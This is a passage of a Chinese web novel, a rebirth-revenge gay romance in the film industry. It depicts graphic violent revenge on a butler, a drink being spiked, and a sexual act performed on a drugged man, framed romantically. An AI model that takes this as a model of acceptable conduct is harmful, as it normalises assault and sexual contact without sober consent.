“你在做什么?”原一清出来,面色难看,质问方闻钟。 扫兴,方闻钟立马变脸,和原一清分道扬镳。 方闻钟忍不住暗自哼歌,感谢萧疏送他的演戏的机会,感谢萧疏帮他整原一清。 他捂住脸,这样下去可怎么办啊,萧疏还没被他拿下呢,他就已经沉迷于这种萧疏给的特殊性和庇护。 他以后会深深陷进去的,方闻钟迷茫又伤心。 脖子里曾被萧疏撩拨过的地方,他碰都不敢碰。 脱裤子时,看到白皙的小腿,都会想到萧疏坚硬的皮鞋- 原一清已经从周导那里知道,萧疏是他要拍的新一部戏的导演。 周导都甘愿做配,原一清当时没忍住,鄙夷了一句,这不是闹着玩儿吗,萧疏凭什么? 周导挑眉,你怕是太小看人家了,周导挺看不上原一清的目关短浅的,萧疏的背景大家都略知一二,不用他介绍,他直接把萧疏获奖的消息发过去,原一清尴尬住嘴。 通知方闻钟试镜的那天,原一清没再跟着去,他不想再见到萧疏。 其实他去了也见不到。 试镜出来,方闻钟有些失落无措地站在外面花坛边,一时放空。 来之前,他好好看了剧本,害怕自己技不如人,还回忆着上辈子周导拍出来的电影成品,仔细琢磨了该怎么呈现男二这个角色。 他本来就经验不多,也不是科班出身,全凭天赋以及提前知道一点剧透,才敢去周导和萧疏面前试镜。 但是萧疏今天没来,周导最后定了他。 方闻钟很高兴,高兴之余,还有那么一点不得劲。 方闻钟出去试镜以及回来后试镜成功的消息,都被管家暗地里透给了蓝亦,原一清不明白周导为何那么青睐方闻钟,但有照片在前,他们又不认识,原一清没作他想。 并且因为有萧疏的缘故,他不好再中断方闻钟的工作替他半路回绝,只能捏着鼻子让方闻钟接下来准备参演。 方闻钟的积极管家看在眼里。 他和蓝亦可不认为这是方闻钟自己的功劳,而是原一清帮他拿到最好的资源,还亲自带他去参加饭局,撮合导演。 他对他那么好?蓝亦虽然得知原一清将方闻钟养在身边,还没做过什么,但现在听到他对方闻钟上心的程度,更加难以接受。 他如果只是对他当一个包养的玩意儿也就罢了,可原一清从方闻钟那里还什么都没得到,就先付出这么多。 蓝亦想,难道一张相似的脸就那么伟大吗? 喜过之后,就是深深的妒忌。 这天管家突然邀请方闻钟去楼下走走,晒晒太阳。 方闻钟看着擦得油亮的楼梯,他们要做什么,一切都明白了。 这么快就等不及露出端倪了吗,也好,他等得也太久了,最好蓝亦立马回国,他还有好多账等着和他算呢。 方闻钟看似走得随意,实际每一步都很小心翼翼,管家看他直到走完最后一台阶梯,还安然无恙,脸上不禁露出失望的表情。 蓝亦说‘那就让他摔断腿好了,我看他还怎么演电影’。 ‘要是摔不断,再增加一些人为因素,’他要看到方闻钟瘫痪在病床上! 方闻钟去外面晒太阳,时而进来,时而出去浇花,管家一直在暗地里关注他,等得越来越焦心。 尤其方闻钟都走到楼梯边上准备上楼了,好像又突然想起了什么,离楼梯很远。 管家的眼神慢慢充满冷意。 将人逗得差不多了,方闻钟终于优哉游哉,随了管家的心意,上楼。 管家还不放心,跟在方闻钟后面,他一只手抓着扶手,跟方闻钟聊天,引开他的注意力。 直到最后一节台阶,管家突然惊呼了一声,吓了方闻钟一跳。 要的就是这个时候,管家在上面,方闻钟在下面,正回头往楼下看去,管家伸出两只手,重重地朝方闻钟后背推去。 胜利的表情戛然而止,因为他没推到人,反而因为自己的冲劲,猛地向前扑去。 方闻钟早侧身躲开了,管家重重地摔下去之前,他伸出脚。 本来只是扑倒的人,这一下像摊肉球一样滚落下去,砰,直到砸到一个大花瓶才停止。 花瓶也被摔碎了。 管家满脸惊恐,抱着自己的腿,等他再往上看时,方闻钟已经好整以暇地欣赏他的自食恶果。 “你!”剧痛让管家冷汗直流,却在方闻钟走到他面前时,所有的话都吞回去。 “都说了我和蓝亦像,”方闻钟抬脚,“他心思恶毒,我当然也不相上下啊。” 方闻钟脸扭曲着,一脚踩上管家的断骨,中年男人发出了杀猪一样的吼叫!整个别墅像屠宰场。 管家已经不明白方闻钟的意思了,他,他知道蓝亦?他知道他们一起准备对他做什么吗? 就连原先生也不清楚蓝亦的性格,可这方闻钟说得这么笃定,蓝亦是坏人,他也是。 摔碎的花瓶碎片,被方闻钟踩着嵌进管家的腿部,管家哆哆嗦嗦,在地上挣扎着往前爬,想离开方闻钟的下一步报复。 可等来的,只有一声声越来越尖锐无力的惨叫。 断腿之仇方闻钟报复回去了,他提起管家汗湿的领子,对地上的血迹熟视无睹,“告诉你的主子,这样太小儿科了。” 管家被扔在地上,方闻钟就不怕原一清发现吗?管家露出嫉恨的表情。 方闻钟似乎知道他在想什么,“蓝亦敢叫原一清查监控吗,他不是最会演贴心无害的白月光了?被发现两幅面孔,还提前针对我,蓝亦也不会给你好果子吃的。” 方闻钟拍了拍管家的老脸,直到管家灰暗下去,才说:“要我帮你叫救护车吗?” 拒绝方闻钟的假好心,管家在原一清那里找了个理由。 自己不小心摔下楼梯,摔断腿,还砸了一个花瓶,原一清听得直皱眉,管家冷漠地说完,才跟蓝亦汇报。 方闻钟和他们查到的不一样!让蓝亦留个心眼。 他不仅知道蓝亦的存在,还知道蓝亦和原一清的纠缠以及蓝亦对他怀有的算计的心思。 管家暂时安分下来,没完成任务,异国他乡的蓝亦听到这个结果,气得阴郁牙痒,“方闻钟,”他念着这个名字,手下将方闻钟所有的照片全胡乱剪碎。 他承担得起激怒他的后果吗,蓝亦放下剪刀,凭他的本事,捏死方闻钟那个小蝼蚁就像一加一那样简单,但蓝亦不会让他这么好过,他一定要慢慢折磨他才开心。 和调查中不一样又怎样,蓝亦准备回国了,方闻钟依旧将是他手下一只待宰的羔羊。 终于没人烦他监视他,方闻钟跟在周导后面参加了几次选角。 有大有小,他是来碰见萧疏的,但萧疏再未出现过,方闻钟有一点心慌,周导还当他好学认真,闲暇时,无聊了也指导指导。 吃着工作人员提供的盒饭,方闻钟忽然听到那边的周导在聊萧疏。 “他啊,不知道跑哪儿去玩了,剧组开拍了肯定会来。” “总不能要求我们萧大少爷天天跟着一起过苦日子吧。” “哈哈哈哈……” 方闻钟穿着蓝色的玩偶服,在一个大商场晃荡,萧疏去参加拍卖会了,但会场方闻钟进不去。 所以躲在这里看能不能碰到闲逛的萧疏。 于是那个蓝色胖玩偶,总是脱离大众,跑去西南角人很少的地方,探头张望。 萧疏和朋友从会场出来,方闻钟一眼就认出了他! 两个男人都是气势逼人的好身材,他们往这边走来,看起来是萧疏的朋友想拖他来这边,但萧疏不愿。 朋友的胳膊搭在萧疏肩膀上,使劲往自己这边拉。 萧疏虽然人跟着过来了,但淡淡的眼神扫过来,朋友立马松手,收回胳膊。 萧疏不喜人这么碰他,还好,萧疏跟着朋友一起过来了。 蓝色玩偶已经快走到他们前面。 朋友在挑搭配珠宝的饰品,刚拍卖得手的,他们都是随便玩玩儿,这里近,就顺路过来了。 萧疏双手插兜,斜靠在墙上。 他注意到,蓝色玩偶已经站在他几步远外,看了他们好久。 没一会儿,朋友也出来了,当然看到了扮玩偶的方闻钟,他今天兴致高,见玩偶可爱,没忍住上来拨了一下玩偶头,“喂,你一个人在这边干什么?” 这边一般限制入场,不是闲逛的地方,这个玩偶要干嘛?傻愣在原地。 他上下扫了一圈,忽然将刚随意挑的两个袖扣扔给方闻钟,从他脖子里的玩偶服缝隙里丢进去,“走吧。” 方闻钟皱着眉,丢进来的东西有点硌,他却不好现在摘掉头套。 朋友刚欲转身,萧疏直起身体向前,他嗤笑朋友,“你当人乞讨呢?” “乞讨值得我给几十万的袖扣?”朋友讶然,还不是他今儿心情好。 萧疏已经走到朋友身边,玩偶对面,方闻钟有些紧张,他这才察觉自己的行为有些怪异,跟萧疏的行踪就算了,还扮成这样偷窥他。 “几十斤的头套给你戴上去我拨一下你头试试?”朋友听出了萧疏语气里的冷意。 他讪讪,“你今天怎么这么善解人意?” “对不起啊,”他对玩偶道歉,本以为就这样算了过去了。 萧疏注视着玩偶里的眼睛,忽然笑了,他摘下自己手上的腕表,慢慢放进玩偶服肚子上的兜里,拍了拍它肚子。 “走了。”萧疏和朋友已经离开。 方闻钟刹那间回头,想喊住他,“萧疏。” 第109章 用手帮 声若蚊蝇,这声闷哼全被挡在头套里。 萧疏朋友愤愤不平的声音还传过来,“大少爷!你那只表近八位数了吧!还说我大方,你这一出手……”朋友凝滞,越想越震惊不可思议。 就那么随便送人了? 那人谁啊,识货吗? “你可真舍得,”他一言难尽地看萧疏。 萧疏侧头,“我今天也心情好,不行?” 好一个心情好……本以为自己随便送袖扣已经够匪夷所思了,和萧大少比起来,他还是太穷! 朋友也没想到,他有一天,会对萧疏发出‘万恶的有钱人’这样的嘶吼! 方闻钟珍惜地拿着那块手表擦拭,他早忘了要追到萧疏,让萧疏对他情根深种,这一刻拿着手表露出痴汉表情的他,彷佛才是被勾引到的那个。 袖扣被他扔在一旁,毫不在意。 萧疏认出他了吗?没有吧。 还是认出来了?方闻钟恨不得揪几片花瓣试一试,哪个结果都让他胡思乱想。 过几天,方闻钟就将那对袖扣挂在网上,卖出去了,他顿时富有了。 方闻钟没有丝毫心理负担,重生一次,他抛弃了一些无用的道德枷锁,给他了,他就要。 但是手表被方闻钟好好放着,不知未来还有可能回到他主人手腕上吗? 因为方闻钟接下来有拍戏行程,公司为他配了经纪人和助理。 原一清最近更忙,他忙着出现在各种酒会聚餐上,他还以为经过嫖|娼那事儿,公司暂时的危机已经度过去了,实际方闻钟怎么可能让他那么轻松。 他虽然不如他们有能力,但他可以根据提前知道的消息引爆原一清身边的雷,再给他慢慢埋钉子。 接下来,公司里将有两位重量级女演员相继提出解约。 一位,是一年后富商老公出轨,她决定息影回家相夫教子,别人的事他管不着,这位女前辈为何做这样愚蠢的决定也与他无关,方闻钟只需要让她提前知道就好了。 另一位,就是嫖|娼男主角的女朋友,两人咖位在公司差不多,但这位女士经常在外地拍戏所以和男朋友谈地下恋情,知道他们情况的很少。 她以为遇到了知根知底的爱人,实际上这人不仅垃圾,公司还从一开始就知道他的所作所为。 女演员心灰意冷,决定跳槽。 原一清哪个都留不住,接二连三的事虽称不上巨大打击,但让公司自断一臂是真的。 他很烦躁,感觉不知从什么时候开始,就诸事不顺,没遇上一件好事。 方闻钟作为公司里的一员,今天跟很多前辈还有原一清一起来参加这个酒会,他们像货架上的商品,被挨个展示,等待资本选中,或大老板之间资源置换。 他不是主角,所以混在边缘位置,旁边是金色的玻璃墙,装饰着一根一根蓝色的棱柱,折射出幻彩的光芒,方闻钟粘贴去,忽然发现缝隙处能看到外面的走廊。 他正这么想着时,看到萧疏和几个他不认识的人,穿过走廊,往尽头那边的包厢走去。 方闻钟一下站直,他盯了好久,直到看不到萧疏的半片衣角了,他有些着急地想出去找他。 可用什么理由? 一是他这边不好走开,二是他也不知道和萧疏在一起的朋友都有谁? 贸然闯入……方闻钟眉头紧锁。 包厢内,能让方闻钟眼熟的人就只有周导一个,其他全都簇拥着萧疏,但都是不认识的朋友。 周导先跟人抱怨,“你怎么选了这么一个地方?不嫌吵?” 在朋友的打趣声中,萧疏沉默地喝了一口酒,噙着运筹帷幄的微笑,“不吵。” 于是他们都作罢,玩乐起来,组局的萧疏,忽然像个游离之外的主人,陷入自己的世界。 他频频出去,隔壁酒会上的人,自然发现这样一个优质大佬的存在! 方闻钟心里装着事儿,往花盆后面躲了躲,谁知叫他听到一段秘密对话,“他真得很帅!一身身价至少九位数,光那只表就几千万了!” 说话的女人声音又尖又利,压得很低还是难掩兴奋算计,“就算不是公司总裁,也绝对是个富二代!” 女明星在跟她的经纪人说悄悄话,“你说我去勾搭一下怎么样?我刚才还看到有人给他递酒,他接了。” 意外听到人家的打算,这在圈子里不是多稀奇的事,方闻钟没想着现在出去。 不知道被这位看上的是谁,光听她震惊描述,就说了好多个帅了…… 经纪人野心更大,“不要单纯的酒……” “知道。” 方闻钟从后面出来,才发现这两人还是他们公司的女前辈,方闻钟实在对圈子里了解很少,女明星的声音,他一时没听出来也不怪。 把这件事当做微不足道别人的闲事,他还等着这边赶紧结束,或找机会出去一下? 他手里拿着手机,虽然没翻出萧疏的电话号码,但他在想他。 为什么自从萧疏给他机会试戏就再没见过了,他是忘了自己,还是单纯撩拨过后给他一个甜头就算了了,失去了兴趣? 萧疏身边有太多不可控的因素,一日没接近他拿下他,方闻钟就很不安。 没一会儿,女前辈就回来了,这回没避着方闻钟直接将他忽视,她把酒杯给经纪人,“他喝了,你处理一下,”女明星整理着裙子妆容,“我先走了,你找个藉口帮我拖一下。” 方闻钟眼睁睁看着她像要上战场,忽然听到一个英文名字,举杯的手僵住。 “Caspian,据说是刚从国外回来的顶级富二代呢……” 方闻钟立马回身,女明星刚摇曳着裙摆出去,他就拔腿往外跑。 “方闻钟!”经纪人喊他,“原总找你。” 方闻钟回头,恶狠狠的,吓了经纪人一跳,“我去上卫生间,很急。”方闻钟直接从酒会出来了。 就这一会儿功夫,女明星已经找不到了,方闻钟猜测他们在尽头的包厢,一步一步朝那里走去。 他怕萧疏喝了加料的酒,怕萧疏如那女人的愿。 方闻钟捏着拳头,凡事都有个先来后到不是吗,其他人凭什么半路劫道? 萧疏只要想,就算没有女明星,也可以分分钟找来一个一解风情的人,不论男女,方闻钟越走越难受,他不知道他脸上的表情很恐怖,不似伤心,倒似自己的东西被其他人染指了。 走到包厢门口,他礼貌地敲了敲门。 里面没有动静,很安静,方闻钟已经推开门,没有一个人,连刚才和萧疏一起来的朋友也不在…… 方闻钟茫然了,萧疏去了哪里? 忽然听到里面还有其他动静,方闻钟看到包厢里最右侧有一间休息室,这会儿门没关紧,从里面传来一些脚步声。 他立马冲上前,压根没想过不是萧疏怎么办,所幸,没出现叫他难以忍受的画面。 只有萧疏,没有其他女人。 萧疏见到来人,定定地看了许久,躺在沙发上,脸颊一片红晕。 他仰着头,像一头雄狮一样丝毫不怕弱点暴露人前,方闻钟虽然不清楚为何刚那女明星没找着人,萧疏朋友也都离场,但看到萧疏还好端端地坐在这儿,他一路提起的心,终于放下了。 他直接手伸到背后,将休息室门关上,落锁。 萧疏不算好。 方闻钟走近,一看他的脸色和眼神,就知道他的确中招了,喝了加东西的酒。 男人身上,还有一股若有似无的冷冽香水味,方闻钟僵住脚步,一时不知该怎么做。 “方闻钟,”萧疏笑着点指尖,“怎么又碰到你了?” “这次不会是你让人给我下套?” 方闻钟立马生气,明明是他谁的酒都接,还怀疑到自己头上了,方闻钟忍不住怼回去,“我给你下套就不会还让你完好无损的在这躺着。” 萧疏眼神收紧,扶手上的手臂也停止动作,方闻钟暗道自己说错话了,萧疏应该和他只是开一个玩笑。 “有事儿?”他被驱赶了。 方闻钟收回尖刺,乖顺地蹲在萧疏脚下,“你中药了。” “所以?”萧疏弯着腰看方闻钟。 方闻钟难以启齿,心里那个念头将他一次次逼上顶峰,他今天可以顺从萧疏离开,可以好心帮萧疏叫医生或其他帮助,但都不是方闻钟想要的结果。 他红着脸,最终还是从心,“我帮你,”他的手已经迅速放在萧疏身上。 手下的拒物钟钟一跳。 空气凝滞,萧疏和方闻钟都静止,直到方闻钟在他冷厉的视线下快支撑不住,萧疏忽然后仰,重新躺在沙发上,把自己彻底暴露给方闻钟。 默许了他的动作。 皮带扣发出令人脸红心跳的响声,方闻钟第一步逞强,后面反而手开始抖,蹲着不方便,他站起来。 直到摸上萧疏都没任何反应方闻钟反而口干舌燥。 但手里的东西告诉他萧疏可不是没感觉。 他不敢低头看,有点恐怖,有点羞涩,说着露骨的话做着鈎引人的动作,方闻钟还是羞赧地闭上眼,然后一会儿忍不住偷窥萧疏,一会儿看他搭在一旁的手臂。 手腕上换了一条蓝色表盘的腕表,据说几千万。 方闻钟鬼使神差地盯着时间移动,他怎么还不好,手好酸。 方闻钟没意识到自己着急了手下力道有点重,萧疏睁开眼看他,他们在对方眼中,都是美色,“挺熟练的,”萧疏开口,方闻钟才察觉到他的音色和刚才完全不同。 耳朵一痒,“有经验?” 方闻钟立马变了表情,脸该红还是红,却不笑了,“没有,”他置气。 他知道萧疏猜测的是谁。 方闻钟越来越用力敷衍,萧疏被他弄得闷哼出好几次,方闻钟反而找到些乐趣。 电话一响,方闻钟吓了一跳!萧疏盯着他的裤子,原来是方闻钟的手机响了。 方闻钟眉间不耐,另一只手迅速拿出手机一看就想扔在桌上。 谁知那一秒也让萧疏看到了谁给他打电话。 原一清。 “接,”萧疏冷酷地命令。 方闻钟眼睛睁大!他知道原一清找他可能发现他偷溜走了,萧疏让他现在接电话? 萧疏笑了,终于换了个动作,他用自己的手包裹住方闻钟的手,不让他离开,指使方闻钟用另一只手现在接电话。 “喂。” 方闻钟的左手,还被迫抓住动作。 这比刚才还难为情,他压根没听到原一清说了什么,只说:“我在卫生间。” 方闻钟立马挂断电话,扔了。 萧疏却抱着他的手臂,终于放松出来,他矜贵优雅地擦着还不忘替方闻钟擦手。 方闻钟想抽出来,眼睛几经闭上又睁开。“去洗吧,”萧疏示意。 方闻钟先是沉默,萧疏说:“方闻钟,是你自己闯进来的,搞得像我强迫你。” 他抽着一根事后烟,见到方闻钟不愿意的神色,也冷峻下来。 方闻钟听到后,立马转换了自己的神思,做到这一步,勾引通通都是他自愿的,何必还过不去这个坎儿。 方闻钟二话不说,走到萧疏面前,将他的烟取下来,亲吻上去。 第110章 “我真的很喜欢你” 关系变质,就从帮萧疏打手枪开始,要想大鱼上鈎,他就得舍得下自己这个饵。 萧疏果然顺势掐着他的腰亲上来,方闻钟被强势堵住嘴,“萧疏,萧疏。” 最后还是电话又响,在茶几上震动,才叫方闻钟有机会脱离魔爪。 还是原一清找来的。 阴魂不散呐,方闻钟想把萧疏原来对他说的话送给原一清,他耳朵一麻。 “啧。” 萧疏舔了一下方闻钟耳朵,松开他了。 眼神不快,却被男人压下去。 方闻钟不知该怎么处理,现在他们的确该出去了,方闻钟往酒会走时,萧疏也跟在他后面。 谁料酒会已经快结束,听到原一清他们下去了,方闻钟和萧疏坐上电梯。 他不知道他沾了萧疏的光,乘坐的这部电梯是专用,电梯从外面看黑沉沉的,但里面的人对外面的景像一览无余。 快停到三楼时,方闻钟猝然看到那个给萧疏喝酒的女明星,被经理带人抓走。 他眼神惊恐,萧疏要做什么? 转头看萧疏,萧疏也发现了他的异样,自然对女明星那样不入流的形象映入眼帘,他漠然地收回视线,就在方闻钟考虑怎么问时,萧疏回他:“你是想陪她一起去,还是想喝一样的东西?” 方闻钟住嘴,心里又忍不住腹诽。 你这么厉害,怎么还会中这种一眼识破的招啊。 不过幸好萧疏中招了,不然哪来他什么事…… 电梯停住。 一出去就看到了原一清,以及公司其他同行,原一清看到他和萧疏同时从这部电梯出来,下意识拧着眉,快步走来,他走到跟前就想把方闻钟从萧疏身边拉过来,他们俩离得太近了。 可不等原一清做什么,方闻钟已经远离萧疏,顺便更远离原一清。 原一清面无表情地收回手。 “你怎么在这里?”他看向方闻钟质问。 他其实更想知道,方闻钟消失的这段时间去了哪里,怎么突然会和萧疏一起出现? 他目光不动声色地在两人之间怀疑地扫来扫去。 方闻钟懒得解释,藉口都不想找,关你什么事啊,但萧疏替他解了围。 方闻钟诧异地小小抬头,听到萧疏说:“卫生间碰到的,你们这位艺人,”他停顿了一下,露出不可名状的笑容,“待得有点久。” 原一清一下想到了方闻钟坏肚子,或其他什么身体不适,萧疏的话换谁都会这么想啊。 方闻钟压住心中的难以置信,表情又是忍又是恼,萧疏淡定地胡扯完。 然后也没再多打招呼,走了,临走前,还对方闻钟说:“记得多洗洗手。” 方闻钟脸迅速一红,原一清还在状况外,问方闻钟,“你怎么了?” “便秘,”方闻钟白眼一翻,对原一清冷酷道。 原一清竟适应了方闻钟这种和蓝亦完全不同的刺头,他找方闻钟,是想介绍他参演周导电影的事,没找到就算了。 刚才三人的交锋,方闻钟站在中间,被前来偷拍的记者,也顺便拍了一张,记者看看相机,虽然人都不认识,但里面的男人一个比一个有气质,遂保存下来。 在蓝亦磨刀霍霍准备回国的这段时间,他自然也透露给了原一清。 所以原一清压根没机会再来见方闻钟。 方闻钟也趁机收拾东西,准备和助理一起进组。 周导拍摄的地方离本市比较远,方闻钟几乎把这里所有的自己的东西都清空了,他应该不会再回来了。 如果一切顺利的话。 管家还在医院养伤,助理是个话很少的腼腆女孩子,看到方闻钟住的地方,也发现原总对方闻钟的不同,不会对别人多话。 方闻钟走的这天,正是蓝亦的飞机回国的当天。 原一清去接他了,他们高兴地抱在一起,蓝亦被原一清抱在怀里,却拿出手机从后面拍了一张他们的亲密照,发给方闻钟。 调查方闻钟的号码是分分钟的事,蓝亦在镜头里笑得异常灿烂,原一清没露脸,但能看出男人的喜悦和深情。 发给他是想让他嫉妒难过吗?方闻钟恶心,手机都被弄脏了。 蓝亦可真搞错了一件事,他是最希望他们两人在一起,一起下地狱的人。 给这对狗男男一段交流的时间吧,他没想过和蓝亦现在针锋相对,为了最后让他们身败名裂,他还要执行自己的计画。 拉着行李箱经过狭窄的电线缠绕的小巷,方闻钟知道,这就是他们将来拍摄的主要场景。 两侧高楼耸立,中间阴暗逼仄,本来没多少的天光,全被电线和东一堆西几件的衣服挡住,越发脏乱烦心。 穿过取景地,剧组休息的酒店相当豪华,格格不入得显示着高端,也表明剧组不差钱。 直到夜深,包括周导在内的所有工作人员都来了,剧里的演员也一一安置好。 但萧疏作为主导演还没出现。 方闻钟本想给萧疏打个电话,但他无意间翻到工作群,竟发现里面有萧疏的账号,Caspian。 方闻钟立马去加,这是很多人下意识的反应,男一号女一号等都如此,在最近剧组交流的期间,虽未见过本人,但周导爱吹嘘,听了不少主导演人帅有钱的新闻。 不然他们哪来的钱住这样的大酒店?还不是萧大少受不得委屈。 可方闻钟直到收到萧疏那边通过申请了,都不知道除了他剧组再没任何一个人加上Caspian的账号。 方闻钟脸上挂着自己都未察觉的笑,暗戳戳地翻萧疏的朋友圈,什么都没有。 “你今晚过来吗?”他在聊天框打下一行字。 最后又删了,方闻钟突然收回笑容,他不想让自己看起来太上赶着,萧疏不缺对他嘘寒问暖打听行踪的人。 他坐在窗前,看着外面漆黑的夜色,忽然做出一个决定。 他要试探一下萧疏对他的感情,他,入了他的眼吗? 方闻钟低头在手机上戳戳。 萧疏坐在私人飞机上,刚还看到方闻钟那边输入中输入了十几分钟,后来见他取消发送,发了一条朋友圈。 萧疏恶趣味地心想,这是仅自己可见吗? 两张图片,一张天色将暗未暗时,方闻钟拍的晚霞,一张他蹲在路边,老太太卖花的地方,拿着花别人拍他的背影。 配文:她说花的花语是“等待疼爱的人”。 萧疏合上手机,先闭眼,那副男生嗅着花的样子在他脑海里更清晰了,他重新打开手机,轻笑了一下。 方闻钟洗脸,手机就放在一旁,他还怕溅上水,又擦了擦洗漱台,可盯来盯去,那条朋友圈下面都没出现一个点赞。 他倔强地拿起手机,在酒店转来转去,方闻钟不觉得自己在闲逛慌乱,他提起两瓶玻璃装的纯净水,拿在手里当哑铃锻炼,手机在沙发上,他人在玄关处。 锻炼完,男生更臭脸了,他走过去想拿起手机再看一下,半路不小心踢到椅子,霎时脚疼得要死,方闻钟先抓起手机,边打开边踢了一脚椅子。 椅子被他报复地往后推了几十厘米,方闻钟看到空荡荡的朋友圈。 他躺在沙发上,干脆闭上眼。 手机被他随意地搁在掌心。 什么都没有,聊天框中,只有通过申请的机器人。 萧疏应该不看,他那么忙,那他还是不知道萧疏今晚回来吗?还是明后天直接进组? 方闻钟出了一点汗,他却觉得一点儿不热,但很躁。 人躺在沙发上,快睡着了,忽然听到一阵很轻的有节奏感的敲门声。 方闻钟坐起一看,两点多,他下意识打起精神,不敢相信地看着酒店门,起身往过跑的动作越来越快。 是萧疏,是手里拿着一捧花的萧疏。 萧疏拿着花,人闲散地靠在门框上,他应该很累,门开后,抬起眼皮向这边看,方闻钟心咚咚跳,萧疏却笑了一下,将花递过来。 方闻钟沉浸在这一刻惊喜中,说不上是等待的结果让他满意他才开心,还是单纯看到萧疏出现送他花他开心。 “我没会错意吧。”男人衬衫卷到胳膊肘,两只手插在裤兜里,问道。 没有,方闻钟紧拿着花抬头。 “刚回来?” “嗯,”萧疏拧开一瓶水,喝了一口。 方闻钟始终看着他,“停机用了些时间,”萧疏说。 方闻钟心里思考,他是在飞机上就看到他发的动态了,所以下飞机就买了花过来? “方闻钟,你要什么样的疼爱?” 萧疏站在玄关处,趁机将方闻钟抵在换衣柜前,他头埋进他脖子深深吸了一口,怀里的人抖了一下。 萧疏的手已经伸进方闻钟换过的短袖里。 玉指摩擦着腰间软肉,隆起,碾平,大掌粘贴。 “去床上?” 萧疏的世界里没有拉扯这一说,有兴趣,看上了,直接动手。 方闻钟之前对他的反应及做过的事,方闻钟也是心甘情愿的吧,况且方闻钟对他说过喜欢,那就搞在一起怎么了? 方闻钟颤抖着,今晚最大的惊喜不是萧疏接下来想对他做什么。 而是萧疏看到他朋友圈的那一刻起,心里在想什么,什么想法让他决定下了飞机后直接买花来找方闻钟? 萧疏是一个懒得浪费时间在无关紧要的事上的人。 半夜两点,拿着一捧花,就因为方闻钟发过的一条动态。 他找上门来。 以萧疏的身份和身价,方闻钟很确定,萧疏对他有感觉,有很大兴趣,致使眼前这一幕发生。 后背上的掌心灼热,方闻钟扔下花双手抱住萧疏的脖子。 撒娇。 鱼上鈎了。 “我真的很喜欢你。”【你现在阅读的是 】 110-120 第111章 “还是处啊。” 半夜两点,周导看到方闻钟门大开着,他和萧疏就站在玄关处亲密,萧疏的手越来越危险,有往下探的意图,小男生的屁股蛋都快露出来。 周导眼睛都快瞪出来了,“咳咳”,他站在原地重重地提醒两人。 他们都不怕被人发现的吗? 周导脑海里闪过一幕幕,萧疏答应他拍电影,还把方闻钟这么一个没名气的小艺人塞进来,他还当他无意间发现宝藏呢,好家夥,宝藏是他自己的。 两个人都装得可以,在饭局上愣是看不出一点苗头。 方闻钟在他面前也从未暗示过他和萧疏的关系。 萧疏朝门口抬眼,眼神充满抵御和核善,方闻钟本以为今晚肯定要和萧疏做了,他没理由再拖,虽然一次次在大脑里告诉自己还不到时候,可被萧疏掌控在怀里,他竖起的计画又被一次次瓦解。 趁着周导出现,他难为情地推搡萧疏,想从他怀里逃出来。 周导看出萧疏的生气了,也看出来方闻钟的别扭和不情愿,所以他站在原地没动。 “哼,”萧疏忽然将袖口放下来,慢慢地扣上袖扣,性感欲望加身的男人,恢复了正儿八经,他拍了拍方闻钟屁股,替他拉好裤子。 也不知道这声哼是对谁。 他顺从着周导的意图,从门口出去,直接拉上房门,阻隔了方闻钟的视线。 方闻钟在门内站了好久,忍不住低下头双手紧紧捂住脸,心悸、恐慌、兴奋、复杂,所有情绪都像后遗症一样交替地缠住他脑海。 “还不走?”萧疏在周导面前,一点不掩饰自己的疲惫和坏脾气,这句话周导听出来萧疏是真不快了。 他赶紧跟上离开。 又忍不住,“他是你情人啊?不嘱咐我不要随便说出去?帮你照顾一下?” 萧疏在电梯里头都懒得回,周导还站在他身后等着答覆。 叮的一声,到顶楼,萧疏住在这层,他才说:“是别人的情人。” 周导在电梯里目瞪口呆,他慌乱地按着下行,然后沉默震耳欲聋。 “……” 第三天,剧组人人都见到萧疏了。 他坐在主位前,看着显示屏里的画面,翘着二郎腿戴着耳机,手上的对讲机偶尔说一句。 工作人员光顾着看他脸了,演员也是,于是总出现萧疏交代完了,半天没反应或做不到合他心意的程度。 低气压迅速铺开,众人才对周导口中的,“萧导脾气不好,你们可别看他长得好看就一个个不知天高地厚,惹着人了,把你拉出去埋了我也救不回来……”终于有了实感。 不需要开口斥骂,没人敢顶着萧疏的利目一而再再而三犯错,更遑论怀着其他心思想和他发展一些暧昧关系。 男一号八卦地戳女一号,和他说话,“萧导据说比周导还有来头哎,他获奖的那部电影你看了吗?” 因为方闻钟实在太没名气,所以哪怕这会儿也在一边,没人主动跟他交流。 这其中也有方闻钟是被周导/资方走后门塞进来的传闻的原因。 女演员摇头,“没看完,萧导有钱有势还不好?周导请他来,肯定是想把电影拍得更好的,我们进组不都沾光了?” 男演员:“话是这么说,我还挺想和萧导多接触接触的。” 他令人遐想的畅想,引来女演员一个白眼,以及方闻钟忽然抬头。 当方闻钟住的房间,忽然被换到顶楼,和萧导同一层,男一号和女一号看向方闻钟的视线,都变得诡异难测。 方闻钟也没想到,萧疏忽然让他搬到上面去,方便干什么,方闻钟心里清楚,他没有拒绝的理由和余地。 这件事一点没避着剧组人员,下一层的周导听说后也只是愣了一下,然后默认。 于是大家纷纷猜测,方闻钟能进来当男二号!背后站的人是萧疏! 他们这几天在外倒是避嫌避得好啊,可在酒店里谁知道方闻钟是怎么伺候萧疏这个大魔王的。 猜忌和谣言一下爆炸般地传开,方闻钟对这种标签并不陌生。 他知道其中忌妒和恶意占多,不同的是,现在将他和萧疏连在一起,是他本人想要的结果,剧组人员虽然爱说小话,但有萧疏在的场合没人敢多提一个字。 萧疏不在意,方闻钟也对这种猜测刀枪不入。 一天戏拍完,周导和萧疏私下在一起时,问他,“你这样对方闻钟不好吧?” 小男生看起来着实乖,演戏方面虽然生疏但调教一下就是上等,正是在圈里慢慢钻研的时候,能傍上萧疏自然是好机会,但现在就一点不避讳地传开可不是好事啊。 萧疏喝着水,转头问他,“所以?” 萧疏已经站起来走了,周导呆呆的,他从那从容的神色和回答里,窥视到一点萧疏的冷漠。 晚间萧疏突然邀请方闻钟去吃饭,他洗完澡,穿着浴袍就给方闻钟打视频。 方闻钟接过惊了一下,电话那头的男人擦着头发,笑得气定神闲。 “跟我出去?” 萧疏感兴趣的东西,从来不会被动等着接受,方闻钟点头,“嗯。” 没过一会儿,他换好衣服,萧疏已经在外面敲门了,他们在隔壁,萧疏这次开门时,明晃晃的不清白的目光将方闻钟从头看到尾,方闻钟有些不自在,“除了这个没别的衣服?” 方闻钟和萧疏站在一起,就像大学生和他看的漫画里的男模。 被嫌弃了,方闻钟反而游刃有余,“没别的。” 